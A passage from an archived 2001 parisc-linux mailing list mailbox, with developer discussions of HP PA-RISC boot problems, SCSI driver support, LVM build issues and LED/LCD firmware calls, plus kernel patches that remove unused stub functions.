-#undef EARLY_BOOTUP_DEBUG
+#define EARLY_BOOTUP_DEBUG
 
 
 #include <linux/config.h>

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] New scsi driver for 53c700 and 53c710 committe
	 d
Date: Tue, 9 Oct 2001 10:55:18 +1000
Lines: 30
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72B91@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620590 27336 80.91.229.3 (22 Nov 2014 01:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 18:57:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3688A482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 18:57:40 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF56HW5Z>; Tue, 9 Oct 2001 10:55:20 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12532

> 
> On Tue, Oct 09, 2001 at 09:06:33AM +1000, 
> Matt.VanDeWerken@csiro.au wrote:
> > So will this new driver work on the 735-series? Please tell 
> me it's so...
> 
> I presume you're talking about the fast-wide-differential scsi port?
> That's a ncr720, not 700 or 710 chip.  The basic driver for 
> that is fine,
> but it doesn't recognise the chip as being something it should drive.
> 

I assume this is still the case? I enquired a while back about getting some
documentation on this to write the driver, but I think I asked at a bad time
(I think woody/potato was about to be released). Anyway, what's the chance
of getting some documentation so I could have a crack at the driver? I'm
happy to sign an NDA or whatever I need to sign, but I'd really like this
driver, and I'd also really like to have some experience with writing
drivers. What better way than to combine the two wishes?

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069 - AUSTRALIA
ph:  +61-7-3327 4685     fax:  +61-7-3327 4455
email:  m.vandewerken@cat.csiro.au




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marco Rodriguez <marco@kiyen.face.ubiobio.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot problem
Date: Mon, 8 Oct 2001 13:17:07 -0400 (CLT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110051537370.19883-100000@kiyen.face.ubiobio.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620590 27339 80.91.229.3 (22 Nov 2014 01:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:10 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 19:14:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kiyen.face.ubiobio.cl (kiyen.face.ubiobio.cl [146.83.194.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E8E3482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 19:14:34 -0600 (MDT)
Original-Received: from localhost (marco@localhost)
	by kiyen.face.ubiobio.cl (8.11.6/8.11.6) with ESMTP id f98HH7106995
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Oct 2001 13:17:07 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12533

I'm traying to boot from the parisc-linux 0.9 on one HP 9000 d350 whith
2 100 Mhz PA RISC 7200 processors but it hangs up
this is the boot mesaje and information it shows, after select the boot
from CD-ROM. if someone can tell me how to boot please or the problems i
have, thank you.

HARD Booted.
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
0/vmlinux64 3585851 bytes @ 0x6d8f800
0/ramdisk 1991209 bytes @ 0x70fb000

Command line: 'root=/dev/ram console=ttyS0 TERM=vt102'

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance:
Firmware d
oes not support PDC_MODEL_CAPABILITIES call
32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
Loading ramdisk 1991209 bytes @ 07e09000...
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
-- 
*-------------------------*-----------------------------------------*
| Marco Rodriguez M.      |                                         |
| Ing. Civil Informatica. |   mailto:marco@kiyen.face.ubiobio.cl    |
| U. Bio Bio Conce.       |                                         |
*-------------------------*-----------------------------------------*






From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad loopback error msg
Date: Tue, 9 Oct 2001 02:33:31 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011009023331.D25819@parcelfarce.linux.theplanet.co.uk>
References: <200110090020.SAA01264@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620590 27344 80.91.229.3 (22 Nov 2014 01:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 19:33:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D217E48C5
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 19:33:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qllz-0002lL-00; Tue, 09 Oct 2001 02:33:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110090020.SAA01264@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Oct 08, 2001 at 06:20:15PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12534

On Mon, Oct 08, 2001 at 06:20:15PM -0600, Grant Grundler wrote:
> This B180 is up-to-date but still running 2.4.0-32 vmlinux
> (original kernels from 0.9.2 I think).

Um, I think that's fatal.  You should upgrade the kernel before upgrading
glibc, or you may run into problems.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad loopback error msg
Date: Tue, 9 Oct 2001 00:04:12 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011009000412.B20501@tdl.com>
References: <200110090020.SAA01264@puffin.external.hp.com> <20011009023331.D25819@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620590 27346 80.91.229.3 (22 Nov 2014 01:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:10 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 01:04:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1046482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 01:04:14 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id AAA20922;
	Tue, 9 Oct 2001 00:04:12 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011009023331.D25819@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Oct 09, 2001 at 02:33:31AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12535

* Matthew Wilcox (willy@debian.org) [011008 19:46]:
> On Mon, Oct 08, 2001 at 06:20:15PM -0600, Grant Grundler wrote:
> > This B180 is up-to-date but still running 2.4.0-32 vmlinux
> > (original kernels from 0.9.2 I think).
> 
> Um, I think that's fatal.  You should upgrade the kernel before upgrading
> glibc, or you may run into problems.


I got the same error when I originally installed 0.9.2

A 2.4.9-paxx kernel solves this.  I was able to update
the glibc and compile a new kernel with this error (setting the
log level to two with SysRq helps to filter out all of the
errors though).

-- Randall




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Tue, 9 Oct 2001 00:10:15 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20011009001015.D653@tausq.org>
References: <20011006134250.I17735@tausq.org> <E15pzKV-0000ZU-00@gandalf.tausq.org> <20011006153445.J17735@tausq.org> <20011007065656.647FB4843@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620591 27348 80.91.229.3 (22 Nov 2014 01:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 01:10:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4207B482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 01:10:26 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id dsdaiaaa for parisc-linux@lists.parisc-linux.org; Tue, 9 Oct 2001 00:05:54 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15qr1r-0001pA-00; Tue, 09 Oct 2001 00:10:15 -0700
Content-Disposition: inline
In-Reply-To: <20011007065656.647FB4843@dsl2.external.hp.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12536

> > In my other post I mentioned you also need a fix to firmware.c .. did
> > you pick that up too?
> Yes, I did. Unfortunately I mentioned inventory.c, but originally meant 
> firmware.c in my previous mail.

Hrm, ok, both Grant and I also reproduced this failure with a 32-bit
kernel on a c3k. with 64-bit it's fine... looks like something odd
happening with the PDC_CHASSIS_INFO call :-(

I can't find any documentation for this hversion-specific pdc call to
fetch the led/lcd info. Can anyone point me to some docs? I can try to
debug it some more.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: bad loopback error msg
Date: Tue, 09 Oct 2001 10:34:16 +0200 (CEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <1002616456.3bc2b688d2dff@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620591 27352 80.91.229.3 (22 Nov 2014 01:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@puffin.external.hp.com, willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 02:34:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0748482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 02:34:31 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15qsLA-0006ft-00; Tue, 09 Oct 2001 10:34:16 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12537

Hi Grant,

It seems to be an old problem solved by R. Hirst in its mail:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013039.html

Regards,
        Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Tue, 09 Oct 2001 11:09:01 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <1002618541.3bc2bead27af0@webmail.tiscalinet.be>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk> <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be> <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620591 27354 80.91.229.3 (22 Nov 2014 01:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:11 +0000 (UTC)
Cc: joel.soete@freebel.net, Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 03:09:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80851482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 03:09:04 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15qssn-00071x-00; Tue, 09 Oct 2001 11:09:01 +0200
In-Reply-To: <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12538

Quoting Matthew Wilcox <willy@debian.org>:

> On Mon, Oct 08, 2001 at 06:39:17PM +0200, hgrothe@mathematik.tu-darmstadt.de 
wrote:
> > I guess :-) that you compiled the lvm-tools with optimization. Since 
> > there seems to be a general problem with the lvm-tools and gcc3 (appears 
> > also on other architectures (see lvm mailing list)) recompile the 
> > lvm-tools without optimisation or "weak" optimisation (-O0).

The all LVM-HOWTO test seems to works fine if change -O2 to -O0 into make.tmpl.

> -O0 is no optimisation, -O1 is weak optimisation and -O2 is most
> optimisations.  This is normally a bug in the code, not the compiler...

I thinks so too.
I will try now to recompile with -O2 and -ggdb to try to have a better idea.

Thanks again for help,
        joel


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad loopback error msg
Date: Tue, 9 Oct 2001 10:24:14 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20011009102414.X11105@linuxcare.com>
References: <200110090020.SAA01264@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620592 27359 80.91.229.3 (22 Nov 2014 01:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 03:23:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 868D4482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 03:23:05 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6F210B00C; Tue,  9 Oct 2001 10:24:14 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200110090020.SAA01264@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Oct 08, 2001 at 06:20:15PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12539

On Mon, Oct 08, 2001 at 06:20:15PM -0600, Grant Grundler wrote:
> Hi,
> 
> Helped someone install 0.9.2 on a B180 (serial console) and following
> the instructions, basically got it up and running.  He needed some help
> with setting up apt (pointing to HP internal mirror).
> 
> But I couldn't figure out what was causing the following error msg
> to get printed on the console every minute or so:
> 
>     ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
>     skb: pf=2 (unowned) dev=lo len=328
>     PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> Any ideas?

I think this is caused by dhclient being automatically run from
init scripts, even though you have specified a manual network config.
rm /etc/rc?.d/*dhclient or similar should help.  dhclient should
only be invoked via ifup/ifdown, but earlier versions installed
rc scripts as well.

Richard





From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Tue, 09 Oct 2001 16:06:40 +0200 (CEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <1002636400.3bc30470260b3@webmail.tiscalinet.be>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk> <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be> <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk> <1002618541.3bc2bead27af0@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620592 27360 80.91.229.3 (22 Nov 2014 01:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:12 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 08:06:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id C39104846
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 08:06:44 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15qxWq-0005fv-00; Tue, 09 Oct 2001 16:06:40 +0200
In-Reply-To: <1002618541.3bc2bead27af0@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12540

Quoting joel.soete@freebel.net:

> Quoting Matthew Wilcox <willy@debian.org>:
> 
> > On Mon, Oct 08, 2001 at 06:39:17PM +0200,
> hgrothe@mathematik.tu-darmstadt.de 
> wrote:
> > > I guess :-) that you compiled the lvm-tools with optimization. Since
> 
> > > there seems to be a general problem with the lvm-tools and gcc3
> (appears 
> > > also on other architectures (see lvm mailing list)) recompile the 
> > > lvm-tools without optimisation or "weak" optimisation (-O0).
> 
> The all LVM-HOWTO test seems to works fine if change -O2 to -O0 into
> make.tmpl.
> 
> > -O0 is no optimisation, -O1 is weak optimisation and -O2 is most
> > optimisations.  This is normally a bug in the code, not the
> compiler...
> 
> I thinks so too.
> I will try now to recompile with -O2 and -ggdb to try to have a better
> idea.

ddd (as well gdb) failed on message:
0x4015dc88 in mocount () from /lib/libc.so.6

into call lvm_dont_interrupt (0);

which is a "simple loop on s" calling 'signal(s,SIG_IGN)' if s is not SIGKILL.

What could be broken?


Thanks again for help,
        joel


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] review of Documentation/parisc/unwritten
Date: Tue, 09 Oct 2001 13:44:58 -0600
Lines: 205
Approved: news@gmane.org
Message-ID: <200110091944.NAA10588@puffin.external.hp.com>
References: <grundler@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620592 27363 80.91.229.3 (22 Nov 2014 01:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 13:48:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE6174921
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 13:48:05 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA10588
	for <parisc-linux@lists.parisc-linux.org>; Tue, 9 Oct 2001 13:44:58 -0600
In-Reply-To: Message from Grant Grundler <grundler@puffin.external.hp.com> 
   of "Sat, 06 Oct 2001 03:19:58 MDT." <200110060919.DAA06756@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12541

Grant Grundler wrote:
> Hi all,
> In summary, it looks like unwritten file can be deleted.
> Notes from reviewing Documentation/parisc/unwritten are appended.

Update of remaining items appended.  I'll file wishlist
severity bugs for the those items unless told otherwise.
And then delete unwritten and close kernel bug #35.

I've committed the "easy" changes (diff appended).
Since I'm only removing unused stuff, no -paXX change.

thanks,
grant

csum_partial_copy
csum_partial_copy_from_user
		arch/parisc/lib/checksum.c
		We want optimized asm for both of those.

do_check_pgt_cache	arch/parisc/mm/init.c
		NOP. this seems wrong.
		all the other arches have (about) the same thing here.
		sparc64 has some CONFIG_SMP in it.

sigaddset
sigdelset	include/linux/signal.h
		Only i386 and m68k define __HAVE_ARCH_SIG_BITOPS.
		parisc ends up using "generic" code like most other arches.
		Is this an issue?



Index: Documentation/parisc/unwritten
===================================================================
RCS file: /home/cvs/parisc/linux/Documentation/parisc/unwritten,v
retrieving revision 1.7
diff -u -p -r1.7 unwritten
--- unwritten	2001/10/09 05:23:19	1.7
+++ unwritten	2001/10/09 19:22:25
@@ -1,59 +1,16 @@
-Hi all,
-Notes from reviewing Documentation/parisc/unwritten.
-In summary, it looks like unwritten file can be deleted.
-
-I'll take care of things marked delete unless someone objects.
-
-Please give feedback on items marked "review?".
-It means I didn't know what to do but status quo didn't seem
-right to me either.
-
-grant
-
-
-sys_idle	./include/asm-parisc/unistd.h
-		obsolete - delete usage.
-
-reboot_setup()	arch/parisc/kernel/process.c
-		not used. delete function.
-
-machine_halt		BUG. NOP.  Should update LEDs/ChassisCode.
-machine_power_on	obsolete - delete it
-		arch/parisc/kernel/process.c
-
-exit_thread		NOP is ok.
-flush_thread		review?
-		arch/parisc/kernel/process.c.
-		Only needs to handle fpu stuff or perf monitors.
-		(several arches implement a "lazy fpu state"...interesting)
-
-strlen_user	include/asm-parisc/uaccess.h
-		#define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
-		review?
+csum_partial_copy
+csum_partial_copy_from_user
+		arch/parisc/lib/checksum.c
+		We want optimized asm for both of those.
+

 do_check_pgt_cache	arch/parisc/mm/init.c
 		NOP. this seems wrong.
 		all the other arches have (about) the same thing here.
 		sparc64 has some CONFIG_SMP in it.
 
-set_pte_phys	arch/parisc/mm/init.c
-		orphaned. delete it.
-
-check_bugs	include/asm-parisc/bugs.h
-		NOP. Check for CPU bugs or misconfigured kernel.
-		review?
-
-csum_partial_copy
-csum_partial_copy_from_user
-		arch/parisc/lib/checksum.c
-		We want optimized asm for both of those.
-
 sigaddset
 sigdelset	include/linux/signal.h
 		Only i386 and m68k define __HAVE_ARCH_SIG_BITOPS.
 		parisc ends up using "generic" code like most other arches.
 		Is this an issue?
-
-get_cycles	include/asm-parisc/timex.h
-		Defined as "mfctl(16)". Is this ok?
-		Only used in drivers/drm/ and kernel/sched.c.
Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.37
diff -u -p -r1.37 process.c
--- process.c	2001/06/30 23:47:53	1.37
+++ process.c	2001/10/09 19:22:25
@@ -74,9 +74,6 @@ void cpu_idle(void)
 	}
 }
 
-void __init reboot_setup(char *str, int *ints)
-{
-}
 
 #ifdef __LP64__
 #define COMMAND_GLOBAL  0xfffffffffffe0030UL
@@ -130,11 +127,12 @@ void machine_restart(char *cmd)
 
 void machine_halt(void)
 {
+	/*
+	** The LED/ChassisCodes are updated by the led_halt()
+	** function, called by the reboot notifier chain.
+	*/
 }
 
-void machine_power_on(void)
-{
-}
 
 /* This routine is called from sys_reboot to actually turn off the
  * machine */
@@ -171,6 +169,9 @@ void exit_thread(void)
 
 void flush_thread(void)
 {
+	/* Only needs to handle fpu stuff or perf monitors.
+	** REVISIT: several arches implement a "lazy fpu state".
+	*/
 	set_fs(USER_DS);
 }
 
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/mm/init.c,v
retrieving revision 1.40
diff -u -p -r1.40 init.c
--- init.c	2001/10/07 01:15:02	1.40
+++ init.c	2001/10/09 19:22:25
@@ -467,9 +467,6 @@ void show_mem(void)
 	show_buffers();
 }
 
-void set_pte_phys (unsigned long vaddr, unsigned long phys)
-{
-}
 
